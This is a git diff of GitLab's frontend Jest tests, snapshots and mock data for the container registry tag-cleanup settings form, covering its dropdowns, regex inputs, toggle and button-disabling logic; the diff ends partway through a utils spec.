diff --git a/spec/frontend/registry/settings/__snapshots__/utils_spec.js.snap b/spec/frontend/registry/settings/__snapshots__/utils_spec.js.snap
new file mode 100644
index 00000000000..7062773b46b
--- /dev/null
+++ b/spec/frontend/registry/settings/__snapshots__/utils_spec.js.snap
@@ -0,0 +1,101 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`Utils formOptionsGenerator returns an object containing cadence 1`] = `
+Array [
+ Object {
+ "default": true,
+ "key": "EVERY_DAY",
+ "label": "Every day",
+ },
+ Object {
+ "default": false,
+ "key": "EVERY_WEEK",
+ "label": "Every week",
+ },
+ Object {
+ "default": false,
+ "key": "EVERY_TWO_WEEKS",
+ "label": "Every two weeks",
+ },
+ Object {
+ "default": false,
+ "key": "EVERY_MONTH",
+ "label": "Every month",
+ },
+ Object {
+ "default": false,
+ "key": "EVERY_THREE_MONTHS",
+ "label": "Every three months",
+ },
+]
+`;
+
+exports[`Utils formOptionsGenerator returns an object containing keepN 1`] = `
+Array [
+ Object {
+ "default": false,
+ "key": "ONE_TAG",
+ "label": "1 tag per image name",
+ "variable": 1,
+ },
+ Object {
+ "default": false,
+ "key": "FIVE_TAGS",
+ "label": "5 tags per image name",
+ "variable": 5,
+ },
+ Object {
+ "default": true,
+ "key": "TEN_TAGS",
+ "label": "10 tags per image name",
+ "variable": 10,
+ },
+ Object {
+ "default": false,
+ "key": "TWENTY_FIVE_TAGS",
+ "label": "25 tags per image name",
+ "variable": 25,
+ },
+ Object {
+ "default": false,
+ "key": "FIFTY_TAGS",
+ "label": "50 tags per image name",
+ "variable": 50,
+ },
+ Object {
+ "default": false,
+ "key": "ONE_HUNDRED_TAGS",
+ "label": "100 tags per image name",
+ "variable": 100,
+ },
+]
+`;
+
+exports[`Utils formOptionsGenerator returns an object containing olderThan 1`] = `
+Array [
+ Object {
+ "default": false,
+ "key": "SEVEN_DAYS",
+ "label": "7 days",
+ "variable": 7,
+ },
+ Object {
+ "default": false,
+ "key": "FOURTEEN_DAYS",
+ "label": "14 days",
+ "variable": 14,
+ },
+ Object {
+ "default": false,
+ "key": "THIRTY_DAYS",
+ "label": "30 days",
+ "variable": 30,
+ },
+ Object {
+ "default": true,
+ "key": "NINETY_DAYS",
+ "label": "90 days",
+ "variable": 90,
+ },
+]
+`;
diff --git a/spec/frontend/registry/settings/components/__snapshots__/settings_form_spec.js.snap b/spec/frontend/registry/settings/components/__snapshots__/settings_form_spec.js.snap
new file mode 100644
index 00000000000..d7f89ce070e
--- /dev/null
+++ b/spec/frontend/registry/settings/components/__snapshots__/settings_form_spec.js.snap
@@ -0,0 +1,64 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`Settings Form Cadence matches snapshot 1`] = `
+<expiration-dropdown-stub
+ class="gl-mr-7 gl-mb-0!"
+ data-testid="cadence-dropdown"
+ formoptions="[object Object],[object Object],[object Object],[object Object],[object Object]"
+ label="Run cleanup:"
+ name="cadence"
+ value="EVERY_DAY"
+/>
+`;
+
+exports[`Settings Form Enable matches snapshot 1`] = `
+<expiration-toggle-stub
+ class="gl-mb-0!"
+ data-testid="enable-toggle"
+ value="true"
+/>
+`;
+
+exports[`Settings Form Keep N matches snapshot 1`] = `
+<expiration-dropdown-stub
+ data-testid="keep-n-dropdown"
+ formoptions="[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]"
+ label="Keep the most recent:"
+ name="keep-n"
+ value="TEN_TAGS"
+/>
+`;
+
+exports[`Settings Form Keep Regex matches snapshot 1`] = `
+<expiration-input-stub
+ data-testid="keep-regex-input"
+ description="Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+ error=""
+ label="Keep tags matching:"
+ name="keep-regex"
+ placeholder=""
+ value="sss"
+/>
+`;
+
+exports[`Settings Form OlderThan matches snapshot 1`] = `
+<expiration-dropdown-stub
+ data-testid="older-than-dropdown"
+ formoptions="[object Object],[object Object],[object Object],[object Object]"
+ label="Remove tags older than:"
+ name="older-than"
+ value="FOURTEEN_DAYS"
+/>
+`;
+
+exports[`Settings Form Remove regex matches snapshot 1`] = `
+<expiration-input-stub
+ data-testid="remove-regex-input"
+ description="Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+ error=""
+ label="Remove tags matching:"
+ name="remove-regex"
+ placeholder=".*"
+ value="asdasdssssdfdf"
+/>
+`;
diff --git a/spec/frontend/registry/settings/components/expiration_dropdown_spec.js b/spec/frontend/registry/settings/components/expiration_dropdown_spec.js
new file mode 100644
index 00000000000..e0cac317ad6
--- /dev/null
+++ b/spec/frontend/registry/settings/components/expiration_dropdown_spec.js
@@ -0,0 +1,83 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlFormGroup, GlFormSelect } from 'jest/registry/shared/stubs';
+import component from '~/registry/settings/components/expiration_dropdown.vue';
+
+describe('ExpirationDropdown', () => {
+ let wrapper;
+
+ const defaultProps = {
+ name: 'foo',
+ label: 'label-bar',
+ formOptions: [{ key: 'foo', label: 'bar' }, { key: 'baz', label: 'zab' }],
+ };
+
+ const findFormSelect = () => wrapper.find(GlFormSelect);
+ const findFormGroup = () => wrapper.find(GlFormGroup);
+ const findOptions = () => wrapper.findAll('[data-testid="option"]');
+
+ const mountComponent = props => {
+ wrapper = shallowMount(component, {
+ stubs: {
+ GlFormGroup,
+ GlFormSelect,
+ },
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('structure', () => {
+ it('has a form-select component', () => {
+ mountComponent();
+ expect(findFormSelect().exists()).toBe(true);
+ });
+
+ it('has the correct options', () => {
+ mountComponent();
+
+ expect(findOptions()).toHaveLength(defaultProps.formOptions.length);
+ });
+ });
+
+ describe('model', () => {
+ it('assign the right props to the form-select component', () => {
+ const value = 'foobar';
+ const disabled = true;
+
+ mountComponent({ value, disabled });
+
+ expect(findFormSelect().props()).toMatchObject({
+ value,
+ disabled,
+ });
+ expect(findFormSelect().attributes('id')).toBe(defaultProps.name);
+ });
+
+ it('assign the right props to the form-group component', () => {
+ mountComponent();
+
+ expect(findFormGroup().attributes()).toMatchObject({
+ id: `${defaultProps.name}-form-group`,
+ 'label-for': defaultProps.name,
+ label: defaultProps.label,
+ });
+ });
+
+ it('emits input event when form-select emits input', () => {
+ const emittedValue = 'barfoo';
+
+ mountComponent();
+
+ findFormSelect().vm.$emit('input', emittedValue);
+
+ expect(wrapper.emitted('input')).toEqual([[emittedValue]]);
+ });
+ });
+});
diff --git a/spec/frontend/registry/settings/components/expiration_input_spec.js b/spec/frontend/registry/settings/components/expiration_input_spec.js
new file mode 100644
index 00000000000..849f85aa265
--- /dev/null
+++ b/spec/frontend/registry/settings/components/expiration_input_spec.js
@@ -0,0 +1,169 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlSprintf, GlFormInput, GlLink } from '@gitlab/ui';
+import { GlFormGroup } from 'jest/registry/shared/stubs';
+import component from '~/registry/settings/components/expiration_input.vue';
+import { NAME_REGEX_LENGTH } from '~/registry/settings/constants';
+
+describe('ExpirationInput', () => {
+ let wrapper;
+
+ const defaultProps = {
+ name: 'foo',
+ label: 'label-bar',
+ placeholder: 'placeholder-baz',
+ description: '%{linkStart}description-foo%{linkEnd}',
+ };
+
+ const tagsRegexHelpPagePath = 'fooPath';
+
+ const findInput = () => wrapper.find(GlFormInput);
+ const findFormGroup = () => wrapper.find(GlFormGroup);
+ const findLabel = () => wrapper.find('[data-testid="label"]');
+ const findDescription = () => wrapper.find('[data-testid="description"]');
+ const findDescriptionLink = () => wrapper.find(GlLink);
+
+ const mountComponent = props => {
+ wrapper = shallowMount(component, {
+ stubs: {
+ GlSprintf,
+ GlFormGroup,
+ },
+ provide: {
+ tagsRegexHelpPagePath,
+ },
+ propsData: {
+ ...defaultProps,
+ ...props,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('structure', () => {
+ it('has a label', () => {
+ mountComponent();
+
+ expect(findLabel().text()).toBe(defaultProps.label);
+ });
+
+ it('has a textarea component', () => {
+ mountComponent();
+
+ expect(findInput().exists()).toBe(true);
+ });
+
+ it('has a description', () => {
+ mountComponent();
+
+ expect(findDescription().text()).toMatchInterpolatedText(defaultProps.description);
+ });
+
+ it('has a description link', () => {
+ mountComponent();
+
+ const link = findDescriptionLink();
+ expect(link.exists()).toBe(true);
+ expect(link.attributes('href')).toBe(tagsRegexHelpPagePath);
+ });
+ });
+
+ describe('model', () => {
+ it('assigns the right props to the textarea component', () => {
+ const value = 'foobar';
+ const disabled = true;
+
+ mountComponent({ value, disabled });
+
+ expect(findInput().attributes()).toMatchObject({
+ id: defaultProps.name,
+ value,
+ placeholder: defaultProps.placeholder,
+ disabled: `${disabled}`,
+ trim: '',
+ });
+ });
+
+ it('emits input event when textarea emits input', () => {
+ const emittedValue = 'barfoo';
+
+ mountComponent();
+
+ findInput().vm.$emit('input', emittedValue);
+ expect(wrapper.emitted('input')).toEqual([[emittedValue]]);
+ });
+ });
+
+ describe('regex textarea validation', () => {
+ const invalidString = new Array(NAME_REGEX_LENGTH + 2).join(',');
+
+ describe('when error contains an error message', () => {
+ const errorMessage = 'something went wrong';
+
+ it('shows the error message on the relevant field', () => {
+ mountComponent({ error: errorMessage });
+
+ expect(findFormGroup().attributes('invalid-feedback')).toBe(errorMessage);
+ });
+
+ it('gives precedence to API errors compared to local ones', () => {
+ mountComponent({
+ error: errorMessage,
+ value: invalidString,
+ });
+
+ expect(findFormGroup().attributes('invalid-feedback')).toBe(errorMessage);
+ });
+ });
+
+ describe('when error is empty', () => {
+ describe('if the user did not type', () => {
+ it('validation is not emitted', () => {
+ mountComponent();
+
+ expect(wrapper.emitted('validation')).toBeUndefined();
+ });
+
+ it('no error message is shown', () => {
+ mountComponent();
+
+ expect(findFormGroup().props('state')).toBe(true);
+ expect(findFormGroup().attributes('invalid-feedback')).toBe('');
+ });
+ });
+
+ describe('when the user typed something', () => {
+ describe(`when name regex is longer than ${NAME_REGEX_LENGTH}`, () => {
+ beforeEach(() => {
+ // since the component has no state we both emit the event and set the prop
+ mountComponent({ value: invalidString });
+
+ findInput().vm.$emit('input', invalidString);
+ });
+
+ it('textAreaValidation state is false', () => {
+ expect(findFormGroup().props('state')).toBe(false);
+ expect(findInput().attributes('state')).toBeUndefined();
+ });
+
+ it('emits the @validation event with false payload', () => {
+ expect(wrapper.emitted('validation')).toEqual([[false]]);
+ });
+ });
+
+ it(`when user input is less than ${NAME_REGEX_LENGTH} state is "true"`, () => {
+ mountComponent();
+
+ findInput().vm.$emit('input', 'foo');
+
+ expect(findFormGroup().props('state')).toBe(true);
+ expect(findInput().attributes('state')).toBe('true');
+ expect(wrapper.emitted('validation')).toEqual([[true]]);
+ });
+ });
+ });
+ });
+});
diff --git a/spec/frontend/registry/settings/components/expiration_run_text_spec.js b/spec/frontend/registry/settings/components/expiration_run_text_spec.js
new file mode 100644
index 00000000000..c594b1f449d
--- /dev/null
+++ b/spec/frontend/registry/settings/components/expiration_run_text_spec.js
@@ -0,0 +1,62 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlFormInput } from '@gitlab/ui';
+import { GlFormGroup } from 'jest/registry/shared/stubs';
+import component from '~/registry/settings/components/expiration_run_text.vue';
+import { NEXT_CLEANUP_LABEL, NOT_SCHEDULED_POLICY_TEXT } from '~/registry/settings/constants';
+
+describe('ExpirationToggle', () => {
+ let wrapper;
+ const value = 'foo';
+
+ const findInput = () => wrapper.find(GlFormInput);
+ const findFormGroup = () => wrapper.find(GlFormGroup);
+
+ const mountComponent = propsData => {
+ wrapper = shallowMount(component, {
+ stubs: {
+ GlFormGroup,
+ },
+ propsData,
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('structure', () => {
+ it('has an input component', () => {
+ mountComponent();
+
+ expect(findInput().exists()).toBe(true);
+ });
+ });
+
+ describe('model', () => {
+ it('assigns the right props to the form-group component', () => {
+ mountComponent();
+
+ expect(findFormGroup().attributes()).toMatchObject({
+ label: NEXT_CLEANUP_LABEL,
+ });
+ });
+ });
+
+ describe('formattedValue', () => {
+ it.each`
+ valueProp | enabled | expected
+ ${value} | ${true} | ${value}
+ ${value} | ${false} | ${NOT_SCHEDULED_POLICY_TEXT}
+ ${undefined} | ${false} | ${NOT_SCHEDULED_POLICY_TEXT}
+ ${undefined} | ${true} | ${NOT_SCHEDULED_POLICY_TEXT}
+ `(
+ 'when value is $valueProp and enabled is $enabled the input value is $expected',
+ ({ valueProp, enabled, expected }) => {
+ mountComponent({ value: valueProp, enabled });
+
+ expect(findInput().attributes('value')).toBe(expected);
+ },
+ );
+ });
+});
diff --git a/spec/frontend/registry/settings/components/expiration_toggle_spec.js b/spec/frontend/registry/settings/components/expiration_toggle_spec.js
new file mode 100644
index 00000000000..99ff7a7f77a
--- /dev/null
+++ b/spec/frontend/registry/settings/components/expiration_toggle_spec.js
@@ -0,0 +1,77 @@
+import { shallowMount } from '@vue/test-utils';
+import { GlToggle, GlSprintf } from '@gitlab/ui';
+import { GlFormGroup } from 'jest/registry/shared/stubs';
+import component from '~/registry/settings/components/expiration_toggle.vue';
+import {
+ ENABLED_TOGGLE_DESCRIPTION,
+ DISABLED_TOGGLE_DESCRIPTION,
+} from '~/registry/settings/constants';
+
+describe('ExpirationToggle', () => {
+ let wrapper;
+
+ const findToggle = () => wrapper.find(GlToggle);
+ const findDescription = () => wrapper.find('[data-testid="description"]');
+
+ const mountComponent = propsData => {
+ wrapper = shallowMount(component, {
+ stubs: {
+ GlFormGroup,
+ GlSprintf,
+ },
+ propsData,
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('structure', () => {
+ it('has a toggle component', () => {
+ mountComponent();
+
+ expect(findToggle().exists()).toBe(true);
+ });
+
+ it('has a description', () => {
+ mountComponent();
+
+ expect(findDescription().exists()).toBe(true);
+ });
+ });
+
+ describe('model', () => {
+ it('assigns the right props to the toggle component', () => {
+ mountComponent({ value: true, disabled: true });
+
+ expect(findToggle().props()).toMatchObject({
+ value: true,
+ disabled: true,
+ });
+ });
+
+ it('emits input event when toggle is updated', () => {
+ mountComponent();
+
+ findToggle().vm.$emit('change', false);
+
+ expect(wrapper.emitted('input')).toEqual([[false]]);
+ });
+ });
+
+ describe('toggle description', () => {
+ it('says enabled when the toggle is on', () => {
+ mountComponent({ value: true });
+
+ expect(findDescription().text()).toMatchInterpolatedText(ENABLED_TOGGLE_DESCRIPTION);
+ });
+
+ it('says disabled when the toggle is off', () => {
+ mountComponent({ value: false });
+
+ expect(findDescription().text()).toMatchInterpolatedText(DISABLED_TOGGLE_DESCRIPTION);
+ });
+ });
+});
diff --git a/spec/frontend/registry/settings/components/registry_settings_app_spec.js b/spec/frontend/registry/settings/components/registry_settings_app_spec.js
index a784396f47a..c31c7bdf99b 100644
--- a/spec/frontend/registry/settings/components/registry_settings_app_spec.js
+++ b/spec/frontend/registry/settings/components/registry_settings_app_spec.js
@@ -3,15 +3,19 @@ import VueApollo from 'vue-apollo';
import { GlAlert, GlSprintf, GlLink } from '@gitlab/ui';
import createMockApollo from 'jest/helpers/mock_apollo_helper';
import component from '~/registry/settings/components/registry_settings_app.vue';
-import expirationPolicyQuery from '~/registry/settings/graphql/queries/get_expiration_policy.graphql';
+import expirationPolicyQuery from '~/registry/settings/graphql/queries/get_expiration_policy.query.graphql';
import SettingsForm from '~/registry/settings/components/settings_form.vue';
-import { FETCH_SETTINGS_ERROR_MESSAGE } from '~/registry/shared/constants';
import {
+ FETCH_SETTINGS_ERROR_MESSAGE,
UNAVAILABLE_FEATURE_INTRO_TEXT,
UNAVAILABLE_USER_FEATURE_TEXT,
} from '~/registry/settings/constants';
-import { expirationPolicyPayload, emptyExpirationPolicyPayload } from '../mock_data';
+import {
+ expirationPolicyPayload,
+ emptyExpirationPolicyPayload,
+ containerExpirationPolicyData,
+} from '../mock_data';
const localVue = createLocalVue();
@@ -62,6 +66,29 @@ describe('Registry Settings App', () => {
wrapper.destroy();
});
+ describe('isEdited status', () => {
+ it.each`
+ description | apiResponse | workingCopy | result
+ ${'empty response and no changes from user'} | ${emptyExpirationPolicyPayload()} | ${{}} | ${false}
+ ${'empty response and changes from user'} | ${emptyExpirationPolicyPayload()} | ${{ enabled: true }} | ${true}
+ ${'response and no changes'} | ${expirationPolicyPayload()} | ${containerExpirationPolicyData()} | ${false}
+ ${'response and changes'} | ${expirationPolicyPayload()} | ${{ ...containerExpirationPolicyData(), nameRegex: '12345' }} | ${true}
+ ${'response and empty'} | ${expirationPolicyPayload()} | ${{}} | ${true}
+ `('$description', async ({ apiResponse, workingCopy, result }) => {
+ const requests = mountComponentWithApollo({
+ provide: { ...defaultProvidedValues, enableHistoricEntries: true },
+ resolver: jest.fn().mockResolvedValue(apiResponse),
+ });
+ await Promise.all(requests);
+
+ findSettingsComponent().vm.$emit('input', workingCopy);
+
+ await wrapper.vm.$nextTick();
+
+ expect(findSettingsComponent().props('isEdited')).toBe(result);
+ });
+ });
+
it('renders the setting form', async () => {
const requests = mountComponentWithApollo({
resolver: jest.fn().mockResolvedValue(expirationPolicyPayload()),
diff --git a/spec/frontend/registry/settings/components/settings_form_spec.js b/spec/frontend/registry/settings/components/settings_form_spec.js
index 4346cfadcc8..b89269c0ae4 100644
--- a/spec/frontend/registry/settings/components/settings_form_spec.js
+++ b/spec/frontend/registry/settings/components/settings_form_spec.js
@@ -4,13 +4,12 @@ import createMockApollo from 'jest/helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
import Tracking from '~/tracking';
import component from '~/registry/settings/components/settings_form.vue';
-import expirationPolicyFields from '~/registry/shared/components/expiration_policy_fields.vue';
-import updateContainerExpirationPolicyMutation from '~/registry/settings/graphql/mutations/update_container_expiration_policy.graphql';
-import expirationPolicyQuery from '~/registry/settings/graphql/queries/get_expiration_policy.graphql';
+import updateContainerExpirationPolicyMutation from '~/registry/settings/graphql/mutations/update_container_expiration_policy.mutation.graphql';
+import expirationPolicyQuery from '~/registry/settings/graphql/queries/get_expiration_policy.query.graphql';
import {
UPDATE_SETTINGS_ERROR_MESSAGE,
UPDATE_SETTINGS_SUCCESS_MESSAGE,
-} from '~/registry/shared/constants';
+} from '~/registry/settings/constants';
import { GlCard, GlLoadingIcon } from '../../shared/stubs';
import { expirationPolicyPayload, expirationPolicyMutationPayload } from '../mock_data';
@@ -39,9 +38,15 @@ describe('Settings Form', () => {
};
const findForm = () => wrapper.find({ ref: 'form-element' });
- const findFields = () => wrapper.find(expirationPolicyFields);
- const findCancelButton = () => wrapper.find({ ref: 'cancel-button' });
- const findSaveButton = () => wrapper.find({ ref: 'save-button' });
+
+ const findCancelButton = () => wrapper.find('[data-testid="cancel-button"');
+ const findSaveButton = () => wrapper.find('[data-testid="save-button"');
+ const findEnableToggle = () => wrapper.find('[data-testid="enable-toggle"]');
+ const findCadenceDropdown = () => wrapper.find('[data-testid="cadence-dropdown"]');
+ const findKeepNDropdown = () => wrapper.find('[data-testid="keep-n-dropdown"]');
+ const findKeepRegexInput = () => wrapper.find('[data-testid="keep-regex-input"]');
+ const findOlderThanDropdown = () => wrapper.find('[data-testid="older-than-dropdown"]');
+ const findRemoveRegexInput = () => wrapper.find('[data-testid="remove-regex-input"]');
const mountComponent = ({
props = defaultProps,
@@ -109,45 +114,136 @@ describe('Settings Form', () => {
wrapper.destroy();
});
- describe('data binding', () => {
- it('v-model change update the settings property', () => {
+ describe.each`
+ model | finder | fieldName | type | defaultValue
+ ${'enabled'} | ${findEnableToggle} | ${'Enable'} | ${'toggle'} | ${false}
+ ${'cadence'} | ${findCadenceDropdown} | ${'Cadence'} | ${'dropdown'} | ${'EVERY_DAY'}
+ ${'keepN'} | ${findKeepNDropdown} | ${'Keep N'} | ${'dropdown'} | ${'TEN_TAGS'}
+ ${'nameRegexKeep'} | ${findKeepRegexInput} | ${'Keep Regex'} | ${'textarea'} | ${''}
+ ${'olderThan'} | ${findOlderThanDropdown} | ${'OlderThan'} | ${'dropdown'} | ${'NINETY_DAYS'}
+ ${'nameRegex'} | ${findRemoveRegexInput} | ${'Remove regex'} | ${'textarea'} | ${''}
+ `('$fieldName', ({ model, finder, type, defaultValue }) => {
+ it('matches snapshot', () => {
mountComponent();
- findFields().vm.$emit('input', { newValue: 'foo' });
- expect(wrapper.emitted('input')).toEqual([['foo']]);
+
+ expect(finder().element).toMatchSnapshot();
});
- it('v-model change update the api error property', () => {
- const apiErrors = { baz: 'bar' };
- mountComponent({ data: { apiErrors } });
- expect(findFields().props('apiErrors')).toEqual(apiErrors);
- findFields().vm.$emit('input', { newValue: 'foo', modified: 'baz' });
- expect(findFields().props('apiErrors')).toEqual({});
+ it('input event triggers a model update', () => {
+ mountComponent();
+
+ finder().vm.$emit('input', 'foo');
+ expect(wrapper.emitted('input')[0][0]).toMatchObject({
+ [model]: 'foo',
+ });
});
it('shows the default option when none are selected', () => {
mountComponent({ props: { value: {} } });
- expect(findFields().props('value')).toEqual({
- cadence: 'EVERY_DAY',
- keepN: 'TEN_TAGS',
- olderThan: 'NINETY_DAYS',
- });
+ expect(finder().props('value')).toEqual(defaultValue);
});
+
+ if (type !== 'toggle') {
+ it.each`
+ isLoading | mutationLoading | enabledValue
+ ${false} | ${false} | ${false}
+ ${true} | ${false} | ${false}
+ ${true} | ${true} | ${true}
+ ${false} | ${true} | ${true}
+ ${false} | ${false} | ${false}
+ `(
+ 'is disabled when is loading is $isLoading, mutationLoading is $mutationLoading and enabled is $enabledValue',
+ ({ isLoading, mutationLoading, enabledValue }) => {
+ mountComponent({
+ props: { isLoading, value: { enabled: enabledValue } },
+ data: { mutationLoading },
+ });
+ expect(finder().props('disabled')).toEqual(true);
+ },
+ );
+ } else {
+ it.each`
+ isLoading | mutationLoading
+ ${true} | ${false}
+ ${true} | ${true}
+ ${false} | ${true}
+ `(
+ 'is disabled when is loading is $isLoading and mutationLoading is $mutationLoading',
+ ({ isLoading, mutationLoading }) => {
+ mountComponent({
+ props: { isLoading, value: {} },
+ data: { mutationLoading },
+ });
+ expect(finder().props('disabled')).toEqual(true);
+ },
+ );
+ }
+
+ if (type === 'textarea') {
+ it('input event updates the api error property', async () => {
+ const apiErrors = { [model]: 'bar' };
+ mountComponent({ data: { apiErrors } });
+
+ finder().vm.$emit('input', 'foo');
+ expect(finder().props('error')).toEqual('bar');
+
+ await wrapper.vm.$nextTick();
+
+ expect(finder().props('error')).toEqual('');
+ });
+
+ it('validation event updates buttons disabled state', async () => {
+ mountComponent();
+
+ expect(findSaveButton().props('disabled')).toBe(false);
+
+ finder().vm.$emit('validation', false);
+
+ await wrapper.vm.$nextTick();
+
+ expect(findSaveButton().props('disabled')).toBe(true);
+ });
+ }
+
+ if (type === 'dropdown') {
+ it('has the correct formOptions', () => {
+ mountComponent();
+ expect(finder().props('formOptions')).toEqual(wrapper.vm.$options.formOptions[model]);
+ });
+ }
});
describe('form', () => {
describe('form reset event', () => {
- beforeEach(() => {
+ it('calls the appropriate function', () => {
mountComponent();
findForm().trigger('reset');
- });
- it('calls the appropriate function', () => {
+
expect(wrapper.emitted('reset')).toEqual([[]]);
});
it('tracks the reset event', () => {
+ mountComponent();
+
+ findForm().trigger('reset');
+
expect(Tracking.event).toHaveBeenCalledWith(undefined, 'reset_form', trackingPayload);
});
+
+ it('resets the errors objects', async () => {
+ mountComponent({
+ data: { apiErrors: { nameRegex: 'bar' }, localErrors: { nameRegexKeep: false } },
+ });
+
+ findForm().trigger('reset');
+
+ await wrapper.vm.$nextTick();
+
+ expect(findKeepRegexInput().props('error')).toBe('');
+ expect(findRemoveRegexInput().props('error')).toBe('');
+ expect(findSaveButton().props('disabled')).toBe(false);
+ });
});
describe('form submit event ', () => {
@@ -209,6 +305,7 @@ describe('Settings Form', () => {
});
});
});
+
describe('global errors', () => {
it('shows an error', async () => {
const handlers = mountComponentWithApollo({
@@ -230,7 +327,7 @@ describe('Settings Form', () => {
graphQLErrors: [
{
extensions: {
- problems: [{ path: ['name'], message: 'baz' }],
+ problems: [{ path: ['nameRegexKeep'], message: 'baz' }],
},
},
],
@@ -241,7 +338,7 @@ describe('Settings Form', () => {
await waitForPromises();
await wrapper.vm.$nextTick();
- expect(findFields().props('apiErrors')).toEqual({ name: 'baz' });
+ expect(findKeepRegexInput().props('error')).toEqual('baz');
});
});
});
@@ -257,23 +354,21 @@ describe('Settings Form', () => {
});
it.each`
- isLoading | isEdited | mutationLoading | isDisabled
- ${true} | ${true} | ${true} | ${true}
- ${false} | ${true} | ${true} | ${true}
- ${false} | ${false} | ${true} | ${true}
- ${true} | ${false} | ${false} | ${true}
- ${false} | ${false} | ${false} | ${true}
- ${false} | ${true} | ${false} | ${false}
+ isLoading | isEdited | mutationLoading
+ ${true} | ${true} | ${true}
+ ${false} | ${true} | ${true}
+ ${false} | ${false} | ${true}
+ ${true} | ${false} | ${false}
+ ${false} | ${false} | ${false}
`(
- 'when isLoading is $isLoading and isEdited is $isEdited and mutationLoading is $mutationLoading is $isDisabled that the is disabled',
- ({ isEdited, isLoading, mutationLoading, isDisabled }) => {
+ 'when isLoading is $isLoading, isEdited is $isEdited and mutationLoading is $mutationLoading is disabled',
+ ({ isEdited, isLoading, mutationLoading }) => {
mountComponent({
props: { ...defaultProps, isEdited, isLoading },
data: { mutationLoading },
});
- const expectation = isDisabled ? 'true' : undefined;
- expect(findCancelButton().attributes('disabled')).toBe(expectation);
+ expect(findCancelButton().props('disabled')).toBe(true);
},
);
});
@@ -284,24 +379,24 @@ describe('Settings Form', () => {
expect(findSaveButton().attributes('type')).toBe('submit');
});
+
it.each`
- isLoading | fieldsAreValid | mutationLoading | isDisabled
- ${true} | ${true} | ${true} | ${true}
- ${false} | ${true} | ${true} | ${true}
- ${false} | ${false} | ${true} | ${true}
- ${true} | ${false} | ${false} | ${true}
- ${false} | ${false} | ${false} | ${true}
- ${false} | ${true} | ${false} | ${false}
+ isLoading | localErrors | mutationLoading
+ ${true} | ${{}} | ${true}
+ ${true} | ${{}} | ${false}
+ ${false} | ${{}} | ${true}
+ ${false} | ${{ foo: false }} | ${true}
+ ${true} | ${{ foo: false }} | ${false}
+ ${false} | ${{ foo: false }} | ${false}
`(
- 'when isLoading is $isLoading and fieldsAreValid is $fieldsAreValid and mutationLoading is $mutationLoading is $isDisabled that the is disabled',
- ({ fieldsAreValid, isLoading, mutationLoading, isDisabled }) => {
+ 'when isLoading is $isLoading, localErrors is $localErrors and mutationLoading is $mutationLoading is disabled',
+ ({ localErrors, isLoading, mutationLoading }) => {
mountComponent({
props: { ...defaultProps, isLoading },
- data: { mutationLoading, fieldsAreValid },
+ data: { mutationLoading, localErrors },
});
- const expectation = isDisabled ? 'true' : undefined;
- expect(findSaveButton().attributes('disabled')).toBe(expectation);
+ expect(findSaveButton().props('disabled')).toBe(true);
},
);
diff --git a/spec/frontend/registry/settings/graphql/cache_updated_spec.js b/spec/frontend/registry/settings/graphql/cache_updated_spec.js
index e5f69a08285..d88a5576f26 100644
--- a/spec/frontend/registry/settings/graphql/cache_updated_spec.js
+++ b/spec/frontend/registry/settings/graphql/cache_updated_spec.js
@@ -1,5 +1,5 @@
import { updateContainerExpirationPolicy } from '~/registry/settings/graphql/utils/cache_update';
-import expirationPolicyQuery from '~/registry/settings/graphql/queries/get_expiration_policy.graphql';
+import expirationPolicyQuery from '~/registry/settings/graphql/queries/get_expiration_policy.query.graphql';
describe('Registry settings cache update', () => {
let client;
diff --git a/spec/frontend/registry/settings/mock_data.js b/spec/frontend/registry/settings/mock_data.js
index 7f3772ce7fe..7cc645fcf55 100644
--- a/spec/frontend/registry/settings/mock_data.js
+++ b/spec/frontend/registry/settings/mock_data.js
@@ -1,13 +1,18 @@
+export const containerExpirationPolicyData = () => ({
+ cadence: 'EVERY_DAY',
+ enabled: true,
+ keepN: 'TEN_TAGS',
+ nameRegex: 'asdasdssssdfdf',
+ nameRegexKeep: 'sss',
+ olderThan: 'FOURTEEN_DAYS',
+ nextRunAt: '2020-11-19T07:37:03.941Z',
+});
+
export const expirationPolicyPayload = override => ({
data: {
project: {
containerExpirationPolicy: {
- cadence: 'EVERY_DAY',
- enabled: true,
- keepN: 'TEN_TAGS',
- nameRegex: 'asdasdssssdfdf',
- nameRegexKeep: 'sss',
- olderThan: 'FOURTEEN_DAYS',
+ ...containerExpirationPolicyData(),
...override,
},
},
@@ -26,12 +31,7 @@ export const expirationPolicyMutationPayload = ({ override, errors = [] } = {})
data: {
updateContainerExpirationPolicy: {
containerExpirationPolicy: {
- cadence: 'EVERY_DAY',
- enabled: true,
- keepN: 'TEN_TAGS',
- nameRegex: 'asdasdssssdfdf',
- nameRegexKeep: 'sss',
- olderThan: 'FOURTEEN_DAYS',
+ ...containerExpirationPolicyData(),
...override,
},
errors,
diff --git a/spec/frontend/registry/settings/utils_spec.js b/spec/frontend/registry/settings/utils_spec.js
new file mode 100644
index 00000000000..f92d51db307
--- /dev/null
+++ b/spec/frontend/registry/settings/utils_spec.js
@@ -0,0 +1,34 @@
+import {
+ formOptionsGenerator,
+ optionLabelGenerator,
+ olderThanTranslationGenerator,
+} from '~/registry/settings/utils';
+
+describe('Utils', () => {
+ describe('optionLabelGenerator', () => {
+ it('returns an array with a set label', () => {
+ const result = optionLabelGenerator(
+ [{ variable: 1 }, { variable: 2 }],
+ olderThanTranslationGenerator,
+ );
+ expect(result).toEqual([{ variable: 1, label: '1 day' }, { variable: 2, label: '2 days' }]);
+ });
+ });
+
+ describe('formOptionsGenerator', () => {
+ it('returns an object containing olderThan', () => {
